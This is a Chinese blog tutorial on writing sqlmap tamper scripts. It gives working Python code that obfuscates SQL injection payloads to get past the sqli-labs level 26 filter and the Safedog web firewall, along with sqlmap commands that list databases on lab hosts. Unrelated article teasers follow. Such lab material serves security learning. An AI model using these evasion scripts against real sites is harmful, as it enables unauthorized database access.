sqlmap tamper脚本编写

文章目录

  • tamper脚本是什么?
  • 指定tamper脚本运行sqlmap
  • 安全狗绕过tamper脚本

tamper脚本是什么?

SQLMap 是一款SQL注入神器,可以通过tamper 对注入payload 进行编码和变形,以达到绕过某些限制的目的。但是有些时候,SQLMap 自带的Tamper 脚本并不是特别好用,需要根据实际情况定制Tamper 脚本。

sqlmap的编写语言也是python,tamper脚本能增强sqlmap的功能,达到绕过检测的目的。

指定tamper脚本运行sqlmap

在kali中用下面命令查找sqlmap所在的目录:

find / -name sqlmap

如图,查找成功:

在这里插入图片描述

下面是一个简单的tamper脚本,它将关键字#、and、or和空格都做了替换(and、or双写大小写绕过),加上(?i)忽略大小写(以sqli-labs第26关为例,经过测试这关会过滤空格and、or和空格,需要做双写和大小写绕过):

import refrom lib.core.enums import PRIORITY__priority__ = PRIORITY.HIGHESTdef dependencies():passdef tamper(payload, **kwargs):"""<space>             %a0and                 anANDd--+                  and '1or                  oORr"""payload = re.sub(r"(?i)#"," and '1",payload)payload = re.sub(r"(?i)and","anANDd",payload)payload = re.sub(r"(?i)or","oORr",payload)payload = re.sub(r"(?i)\ ","%a0",payload)return payload

将这段代码放入一个sqli-labs_26.py中,并将文件放到sqlmap所在的目录:
在这里插入图片描述

运行xampp,打开sqli-labs_26复制路径:

在这里插入图片描述

然后在kali中输入下面命令,运行sqlmap:

-tamper指定运行的tamper脚本

–current-db列出当前数据库

-u指定url

-v 指定sqlmap的回显等级

–dbs 列出所有的数据库

python3 sqlmap -u http://10.9.75.164/sqli-labs/Less-26/?id=2 -v3 -tamper sqli-labs_26.py --current-db

如下图,获取到数据库的名称为security,类型为联合查询:

在这里插入图片描述

安全狗绕过tamper脚本

绕过安全狗

1.脏数据

2.大小写转换

3.双写

4.内联注释

安装安全狗,以sqli-labs第1关为例,绕过安全狗应该从上面4个方面考虑,经过测试,只有第四个方法可行,下面是一个内联注释的脚本:

import refrom lib.core.enums import PRIORITY__priority__ = PRIORITY.HIGHESTdef dependencies(): passdef tamper(payload, **kwargs): payload = re.sub(r"(?i)and", "/*!14400and*/", payload)payload = re.sub(r"(?i)order by", "/**/order/*/%0a*a*/by/**/", payload)payload = re.sub(r"(?i)union select", "union/*!88888cas*//*/%0a*a*/select/**/", payload) payload = re.sub(r"(?i)union all select", "union/*!88888cas*//*/%0a*a*/select/**/", payload)payload = re.sub(r"(?i)from information_schema.schemata", "/*!from--%0f/*%0ainformation_schema.schemata*/", payload)payload = re.sub(r"(?i)from information_schema.tables", "/*!from--%0f/*%0ainformation_schema.tables*/", payload)payload = re.sub(r"(?i)from information_schema.columns", "/*!from--%0f/*%0ainformation_schema.columns*/", payload)payload = re.sub(r"(?i)database\(\)", "database(/*!/*/**%0fAJEST*/*/)", payload)#payload = re.sub(r"(?i)count\(*\)","count(1)",payload)payload = re.sub(r"(?i) as","/*!14400as*/",payload)payload = re.sub(r"(?i)char","/*!14400char*/",payload)return payload

和之前获取数据库名称一样,将该脚本文件放到sqlmap所在目录下:

在这里插入图片描述

然后用下面命令运行sqlmap,获取数据库名称:

python3 sqlmap -u http://10.9.75.116/sqli-labs/Less-1/?id=1 -v3 --tamper safedog.py --random-agent --dbs

如图,用该脚本文件做tamper绕过安全狗(绕waf)成功,获得数据库名称:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/139266.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

拥抱数字化时代SOP电子作业指导书系统助力企业差异化竞争

在如今的竞争激烈的市场环境中&#xff0c;企业要想在同等条件下脱颖而出&#xff0c;差异化竞争成为了关键。然而&#xff0c;与硬件相比&#xff0c;软件的差异化更具有决定性的作用。而软件的差异化往往体现在细节上&#xff0c;而不是大的战略方面。而如何将这些细节进行量…

java框架-Springboot3-web开发

文章目录 自动配置默认效果WebMvcAutoConfigurationWebMvcConfigurer接口静态资源访问首页Favicon缓存 自定义静态资源路径1、配置方式2、代码方式 路径匹配规则内容协商默认支持json配置支持xml内容协商原理自定义支持ymal 模板引擎模板引擎Thymeleaf整合基础语法遍历判断属性…

百度SEO优化技巧(选择、网站结构、内容优化、外链建设、数据分析)

百度关键词SEO优化介绍 SEO是搜索引擎优化的缩写&#xff0c;是指通过优化网站结构、内容和外部链接等方式&#xff0c;提高网站在搜索引擎中的排名&#xff0c;从而获取更多的访问量和流量。百度是中国最大的搜索引擎之一&#xff0c;对于企业来说&#xff0c;优化百度关键词…

大数据 Hive 数据仓库介绍

目录 一、​​数据仓库概念 二、场景案例&#xff1a;数据仓库为何而来&#xff1f; 2.1 操作型记录的保存 2.2 分析型决策的制定 2.3 OLTP 环境开展分析可行吗&#xff1f; 2.4 数据仓库的构建 三、数据仓库主要特征 3.1 面向主题性&#xff08;Subject-Orient…

深度学习笔记之优化算法(一)铺垫:梯度下降法VS最速下降法

深度学习笔记之优化算法——铺垫&#xff1a;梯度下降法VS最速下降法 引言回顾&#xff1a;条件数范数 相关描述关于梯度下降法最速下降法单位范数的描述 梯度下降法VS最速下降法梯度下降法等价于最速下降法的情况欧式范数约束产生的更新方向可能不是最优方向梯度下降法与最速下…

操作系统:系统引导以及虚拟机

1.操作系统引导的过程 ①CPU从一个特定主存地址开始取指令&#xff0c;执行ROM中的引导程序&#xff08;先进行硬件自检&#xff0c;再开机)②将磁盘的第一块&#xff1a;主引导记录读入内存&#xff0c;执行磁盘引导程序&#xff0c;扫描分区表③从活动分区&#xff08;又称主…

ubuntu 里根文件系统的扩容,/dev/ubuntu-vg/ubuntu-lv 文件系统扩充到整个分区

笔者安装了ubuntu服务器版软件&#xff0c;由于系统安装的时候没有划分好磁盘分区&#xff0c;只采用了1000G固态硬盘的 200G来安装系统&#xff0c;安装完毕后&#xff0c;用df -h 命令查看如下&#xff1a; 根文件系统仅占用了 196G&#xff0c;而本身硬盘的尺寸为1000G&…

03【深度学习】YOLOV3-WIN11环境搭建(配置+训练)

一、深度学习&#xff1a;YOLOV3-WIN11环境搭建 本篇文字是【深度学习】YOLOV5-WIN11环境搭建&#xff08;配置训练)&#xff0c;首先介绍win11下 基于Anaconda、pytorch的YOLOV5深度学习环境搭建&#xff0c;环境配置顺序&#xff1a;显卡驱动 - CUDA - cudnn - Anaconda - py…

Linux实现HTTP服务器

在Linux系统中&#xff0c;我们可以利用HTTP服务器代理来实现网络请求的转发和加速&#xff0c;从而提高网站的访问速度和性能。本文将为您详细介绍如何搭建HTTP服务器代理&#xff0c;让您在网络世界中畅通无阻&#xff0c;更加快速高效地进行数据通信。 一、了解HTTP服务器代…

李宏毅机器学习第一课

机器学习就是让机器找一个函数f&#xff0c;这个函数f是通过计算机找出来的 如果参数少的话&#xff0c;我们可以使用暴搜&#xff0c;但是如果参数特别多的话&#xff0c;我们就要使用Gradient Descent Regression (输出的是一个scalar数值) Classification &#xff08;在…

4+机器学习+实验验证

今天给同学们分享一篇4机器学习实验验证的生信文章“Identification and Analysis of Neutrophil Extracellular Trap-Related Genes in Osteoarthritis by Bioinformatics and Experimental Verification”&#xff0c;这篇文章于2023年8月31日发表在 J Inflamm Res 期刊上&am…

上网行为监管软件(上网行为管理软件通常具有哪些功能)

在我们的日常生活中&#xff0c;互联网已经成为了我们获取信息、交流思想、进行工作和娱乐的重要平台。然而&#xff0c;随着互联网的普及和使用&#xff0c;网络安全问题也日益突出&#xff0c;尤其是个人隐私保护和网络行为的规范。在这个背景下&#xff0c;上网行为审计软件…

21 mysql ref 查询

前言 这里主要是 探究一下 explain $sql 中各个 type 诸如 const, ref, range, index, all 的查询的影响, 以及一个初步的效率的判断 这里会调试源码来看一下 各个类型的查询 需要 lookUp 的记录 以及 相关的差异 此系列文章建议从 mysql const 查询 开始看 测试表结构…

AOSP源码中Android.mk文件中的反斜杠符号(\)的作用和使用

简介 在AOSP&#xff08;Android Open Source Project&#xff09;源码中的Android.mk文件中&#xff0c;反斜杠符号&#xff08;\&#xff09;的主要作用是将一行代码拆分成多行&#xff0c;以提高可读性并帮助组织较长的代码块。这对于定义复杂的构建规则和变量时特别有用。…

若依DataScopeAspect数据权限解析和ew.customSqlSegment源码解析

目录 一、DataScopeAspect使用场景二、ew.customSqlSegment${ew.customSqlSegment}build:this.normal &#xff1a; queryWrapper where 条件不为空的时候&#xff0c;才有normalget第二次 进来add(), 已经拼接完 ew.customSqlSegment 了&#xff0c; 因为DataPermission 注解进…

Mybatis 映射器与XML配置职责分离

之前我们介绍了使用XML配置方式完成对数据的增删改查操作&#xff0c;使用此方式在实际调用时需要使用【命名空间.标签编号】的方式执行&#xff0c;此方式在编写SQL语句时很方便&#xff0c;而在执行SQL语句环节就显得不太优雅&#xff1b;另外我们也介绍了使用映射器完成对数…

内网穿透,轻松实现PostgreSQL数据库公网远程连接!

文章目录 前言1. 安装postgreSQL2. 本地连接postgreSQL3. Windows 安装 cpolar4. 配置postgreSQL公网地址5. 公网postgreSQL访问6. 固定连接公网地址7. postgreSQL固定地址连接测试 前言 PostgreSQL是一个功能非常强大的关系型数据库管理系统&#xff08;RDBMS&#xff09;,下…

TCP协议中常见的问题

文章目录 TCP协议中常见的问题谈一谈对OSI七层模型和TCP/IP四层模型的理解&#xff1f;谈谈TCP协议的3次握手过程&#xff1f;TCP协议为什么要3次握手&#xff1f;2次&#xff0c;4次不行吗&#xff1f;谈谈TCP协议的四次挥手过程&#xff1f;什么是流量控制&#xff1f;什么是…

软考软件设计师-存储管理-文件管理-计算机网络(中

文章目录 一、存储管理页面置换算法 (最佳OPT)存储页面-先进先出置换算法&#xff08;FIFO)最久未使用算法(最近最久未使用LRU&#xff09; 二、文件管理初识文件管理文件目录-绝对路径文件管理-文件的结构文件管理-索引的分配 空闲存储空间的管理(位示图法&#xff09;三、计算…

精品Python数字藏品购物商城爬虫-可视化大屏

《[含文档PPT源码等]精品基于Python实现的数字藏品爬虫》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程等 软件开发环境及开发工具&#xff1a; 开发语言&#xff1a;python 使用框架&#xff1a;Django 前端技术&#xff1a;JavaScript、VUE.js&a…